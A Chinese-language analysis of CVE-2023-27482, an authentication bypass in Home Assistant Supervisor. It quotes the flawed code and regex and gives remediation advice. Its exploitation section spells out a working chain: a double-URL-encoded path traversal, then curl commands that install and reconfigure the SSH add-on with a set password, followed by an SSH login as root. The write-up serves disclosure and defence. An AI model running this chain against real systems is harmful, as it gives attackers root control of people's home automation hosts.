CVE-2023-27482 Home Assistant 权限绕过致远程代码执行漏洞
字数 1157 2025-08-24 16:48:07
Home Assistant 权限绕过致远程代码执行漏洞分析 (CVE-2023-27482)
漏洞概述
Home Assistant 是一款开源的家庭自动化管理系统,用于控制家庭自动化设备。在 Home Assistant Supervisor 2023.01.1 之前的版本中存在一个严重的授权问题漏洞,该漏洞允许攻击者绕过身份验证机制,最终可能导致远程代码执行。
影响版本
- Home Assistant Supervisor < 2023.01.1
漏洞分析
漏洞根源
漏洞的核心在于权限验证机制存在缺陷,具体表现为路径遍历问题。攻击者可以通过精心构造的请求绕过身份验证检查。
关键代码分析
漏洞存在于 http.py 文件中,主要涉及以下几个关键部分:
- HassIOView 类定义:
class HassIOView(HomeAssistantView):
"""Hass.io view to handle base part."""
name = "api:hassio"
url = "/api/hassio/{path:.+}"
requires_auth = False
这里定义了一个 URL 路由 /api/hassio/{path:.+},其中 {path:.+} 是一个正则表达式,表示可以匹配任意字符(包括斜杠 /)。
- 请求处理函数:
async def _handle(self, request: web.Request, path: str) -> web.Response | web.StreamResponse:
"""Route data to Hass.io."""
hass = request.app["hass"]
if _need_auth(hass, path) and not request[KEY_AUTHENTICATED]:
return web.Response(status=HTTPStatus.UNAUTHORIZED)
return await self._command_proxy(path, request)
该函数首先检查请求是否需要认证,如果不需要认证或已认证,则通过 _command_proxy 方法代理请求。
- 认证检查函数:
def _need_auth(hass, path: str) -> bool:
"""Return if a path need authentication."""
if not async_is_onboarded(hass) and NO_AUTH_ONBOARDING.match(path):
return False
if NO_AUTH.match(path):
return False
return True
该函数使用正则表达式来判断路径是否需要认证。问题出在正则表达式定义过于宽松,允许路径遍历。
正则表达式定义
漏洞的关键在于以下正则表达式定义:
NO_AUTH = re.compile(r"app/.*")
这个正则表达式匹配任何以 app/ 开头的路径,但没有对路径中的特殊字符(如 ../)进行有效过滤。
安全过滤缺陷
在 security_filter.py 文件中,虽然存在过滤机制,但存在以下缺陷:
- 没有处理双重 URL 编码(如
%252E代表.) - 过滤规则不完善,无法有效阻止路径遍历攻击
漏洞利用
基本利用方式
通过构造包含双重编码的路径遍历字符,可以绕过认证检查:
/api/hassio/app/.%252e/supervisor/info
远程代码执行利用链
攻击者可以结合 addon-ssh 组件实现完整的 RCE 利用链:
- 安装 SSH 插件:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/store/addons/a0d7b954_ssh/install
- 禁用安全保护:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/security \
-H 'Content-Type: application/json' \
-d '{"protected":"false"}'
- 配置 SSH 选项(设置用户名和密码):
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/options \
-H 'Content-Type: application/json' \
-d '{"options":{"init_commands":[],"packages":[],"share_sessions":false,"ssh":{"allow_agent_forwarding":false,"allow_remote_port_forwarding":false,"allow_tcp_forwarding":false,"authorized_keys":[],"compatibility_mode":false,"password":"hunter2","sftp":false,"username":"hassio"},"zsh":true}}'
- 重启 SSH 服务:
curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/restart
- 通过 SSH 连接获取 root 权限:
ssh 127.0.0.1 -p22 -lhassio
修复建议
- 升级到 Home Assistant Supervisor 2023.01.1 或更高版本
- 如果无法立即升级,可以采取以下临时措施:
- 限制对 Home Assistant 管理接口的访问
- 禁用不必要的插件和功能
- 加强网络边界防护
漏洞挖掘经验
- 从鉴权机制入手是发现此类漏洞的有效方法
- 重点关注:
- 正则表达式实现的权限检查
- 路径处理函数
- 编码转换和过滤逻辑
- 测试时应考虑多种特殊情况:
- 双重 URL 编码
- 大小写变体
- 特殊字符组合